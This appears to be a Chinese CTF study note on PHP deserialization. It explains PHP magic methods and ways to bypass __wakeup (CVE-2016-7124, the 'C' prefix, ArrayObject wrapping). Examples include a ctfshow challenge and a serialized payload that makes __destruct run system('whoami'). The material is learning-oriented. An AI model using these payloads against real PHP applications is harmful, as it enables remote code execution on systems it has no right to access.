# 关于 php 的反序列化
题里主要就是各种利用魔术方法进行跳转,从而实现恶意代码。
要利用这些魔术方法,就不得不了解一下有什么和如何利用
# 魔术方法
# __construct()
构造函数,只有在 new 一个对象的时候会触发,这时候会执行__construct () 下的语句
需要注意的是,在序列化和反序列化中都不会触发该方法
# __destruct()
析构函数会在对象被销毁的时候被调用,典型的就是 die 和 unset 函数,寒假考核的时候就用到了这个点
class web | |
{ | |
public function __wakeup() | |
{ | |
die("不许反序列化哦"); | |
} | |
} | |
class pwn | |
{ | |
public function __destruct() | |
{ | |
echo $this->r1 . ' --0xfa'; | |
} | |
} |
当整个过程被 die 销毁之后,自然会触发 pwn 的__destruct 函数,前提是序列化的时候包含了 pwn
同时,反序列化结束回收的时候也会调用
# __call()
当调用一个不存在的方法时会触发
<?php | |
class A | |
{ | |
public function __call($name,$arguments) | |
{ | |
echo $name.'--'.$arguments[0]; | |
} | |
} | |
$a = new A(); | |
$a -> fun('test'); | |
?> |
调用了一个不存在的方法 fun (),向 fun () 中传入了参数 test,所以会把这个不存在的函数名存入__call 里的 $name 变量,参数 test 存入 $arguments 中。这个 $arguments 是数组变量。
得到结果
# __get
当调用一个不存在的变量时会触发
<?php | |
class A | |
{ | |
public function __get($name) | |
{ | |
echo $name; | |
} | |
} | |
$a = new A(); | |
$a -> test; | |
?> |
同样的,当调用这个不存在的变量 test 时,会自动执行__get 命令,并把变量名传入 $name 中
# __set
给不存在的变量赋值的时候会自动触发
<?php | |
class A | |
{ | |
public function __get($nam) | |
{ | |
echo 'get:'.$name; | |
} | |
public function __set($name,$value) | |
{ | |
echo 'set:'.$name.$value; | |
} | |
} | |
$a = new A(); | |
$a -> test = 'test'; | |
?> |
这时候就只会调用__set 方法,而__get 方法不调用了
# __isset
对不可访问的属性调用 isset () 或者 empty () 的时候触发
不可访问的属性包括:私有属性,不存在的属性
<?php | |
class A | |
{ | |
protected $pro; | |
private $pri; | |
public function __isset($name) | |
{ | |
echo $name; | |
} | |
} | |
$data=unserialize($_POST['data']); | |
isset($data->pro); | |
empty($data->pri); | |
?> |
在 hackbar 中传入
data=O:1:"A":2:{s:6:"%00*%00pro";N;s:6:"%00A%00pri";N;} |
则会 echo 出 pro 和 pri
# __unset
同理,当用 unset 销毁不可访问的成员属性的时候就会触发该变量
# __sleep
在把对象 serialize () 的时候触发
# __wakeup
在进行反序列化的时候,会先检查是否存在__wakeup 方法,如果存在则调用,再进行反序列化
一般来说,在做题的时候,wakeup 一般都是入点,即
unserialize()->A::__wakeup() |
此外,还需要学会绕过 wakeup
# CVE-2016-7124
最常见的一个绕过方法,即修改对象个数值
正常的值如下:
O:1:"A":1:{s:1:"a";N;} |
如果 A 中存在 wakeup 要绕过,仅需把 "A":1 改为 "A":2 即可绕过
# C 绕过
把反序列化后的开头 O 换成 C 也可绕过 wakeup,不过这样只能执行 construct () 函数或者 destruct () 函数,无法添加任何内容
但在 ctfshow 愚人杯还有种新方法可以绕过
<?php | |
error_reporting(0); | |
highlight_file(__FILE__); | |
class ctfshow{ | |
public function __wakeup(){ | |
die("not allowed!"); | |
} | |
public function __destruct(){ | |
echo 'pass'; | |
system($this->ctfshow); | |
} | |
} | |
$data = $_GET['1+1>2']; | |
if(!preg_match("/^[Oa]:[\d]+/i", $data)){ | |
unserialize($data); | |
} | |
?> |
<?php | |
class ctfshow{ | |
public function __wakeup(){ | |
die("not allowed!"); | |
} | |
public function __destruct(){ | |
echo 'pass'; | |
system($this->ctfshow); | |
} | |
} | |
$a=new ctfshow(); | |
echo serialize($a); | |
#O:7:"ctfshow":0:{} |
当把 O 改 C 传 C:7:”ctfshow”:0:{} 进去可显示 pass,但是也就只能这么传入了,改了东西就没反应
可以用 ArrayObject 对正常的反序列化内容包装一次,让最后输出的 payload 以 C 开头
<?php | |
class ctfshow { | |
public $ctfshow; | |
public function __wakeup(){ | |
die("not allowed!"); | |
} | |
public function __destruct(){ | |
echo "OK"; | |
system($this->ctfshow); | |
} | |
} | |
$a=new ctfshow; | |
$a->ctfshow="whoami"; | |
$arr=array("evil"=>$a); | |
$oa=new ArrayObject($arr); | |
$res=serialize($oa); | |
echo $res; | |
//unserialize($res) | |
?> | |
#C:11:"ArrayObject":77:{x:i:0;a:1:{s:4:"evil";O:7:"ctfshow":1:{s:7:"ctfshow";s:6:"whoami";}};m:a:0:{}} |
这就成功执行了
以上内容照抄狗学长博客:PHP 反序列化中 wakeup () 绕过总结 – fushuling の blog
# __toString
当这个对象被当做字符串处理的时候,就会触发
常见的当做字符串处理有:
echo () 输出,. 拼接,preg_match () 比较,substr () 截取,strcmp () 比较,file_exists () 判断等
# __invoke
当对象被当成函数调用时触发
<?php | |
class A | |
{ | |
public $a; | |
public function __invoke() | |
{ | |
echo 'invoke'; | |
} | |
public function invoke() | |
{ | |
($this->a)(); | |
} | |
} | |
$a = new A(); | |
$b = new A(); | |
$a -> a = $b; | |
$a -> invoke(); | |
?> |
此时,A 类中的 $a 是一个 A 类,而在 involve () 函数中把 $a 当函数执行,即把 A 类当成一个函数调用,自然就进入了__invoke () 中
# __clone()
当 clone 一个类时调用
class w_wuw_w
{
public function __invoke(){
$this -> aaa = clone new EeE;
}
}
class EeE
{
public function __clone(){
$a = new cycycycy;
$a -> aaa();
}
当进入 w_wuw_w 类中的__invoke () 时,会 clone 一个 EeE,此时则会进入 EeE 中的__clone ()